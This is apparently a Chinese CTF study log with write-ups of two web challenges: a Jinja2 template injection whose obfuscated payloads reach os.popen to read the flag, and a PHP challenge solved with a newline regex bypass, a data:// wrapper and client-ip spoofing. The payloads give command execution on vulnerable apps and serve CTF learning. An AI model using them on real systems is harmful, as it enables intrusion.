学习记录24-9-13
[DASCTF]Truman
一些知识点:jinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}
会重复字符串,而在twig中无法使用{{7*'7'}}
来进行字符串的重复
在本题测试框输入49可以发现输出了7个7,说明是jinja2模板
关于jinja2的一些payload构造知识:
lipusum:flask的一个方法,在其下的lipsum.__gloabals__
含有os模块
popen函数:调用fork()产生子进程,并执行shell运行命令
{{lipsum.__globals__['os'].popen('ls').read()}}
这样一个注入调用os模块,执行了ls命令并read读取
attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:
1 | {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()')}} |
其中getitem是通过索引获取对象的方法,相当于[]
1.测试49发现jinja2模板
2.确定jinja2模板,fenjing一把梭
3.最终payload:
{%set em='OS'|lower%}{%set mz=lipsum|escape|batch(22)|first|last%}{%set gl=mz*2~'g''lobals'~mz*2%}{%set ge=mz*2~'g''etitem'~mz*2%}{%set bu=mz*2~'builtins'~mz*2%}{%set im=mz*2~'import'~mz*2%}{{((cycler|attr('next')|attr(gl)|attr(ge)(bu)|attr(ge)(im))(em)|attr('p''open'))('tac f''lag')|attr('r''ead')()}}
[MRCTF2020]套娃
网站首页说是测试框,没有东西,ctrl+u之后发现源码:
1 | <!-- |
$_SEVER['QUERY_STRING']
用于获取url中查询的字符串
如:
example/?b_u_p_t=23333
那么对应的输出是?b_u_p_t=23333
substr_count对字符出现的次数进行计数,%5f是_的16进制,传参不能出现
‘_’
第二个if要求$_GET['b_u_p_t']=23333
payload:
1 | ?b.u.p.t=23333%0a |
未开启单行匹配时会自动忽略换行符%0a
访问如图
ctrl+u后是jsFuck编码
解码后发现是post me Merak
获得源码
1 | <?php |
file_get_contents($_GET[‘2333’]) === ‘todat is a happy day’用data伪协议绕过,client-ip绕过getIP,根据change函数对字符串加密操作
1 | <?php |
ZmpdYSZmXGI=
payload:?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D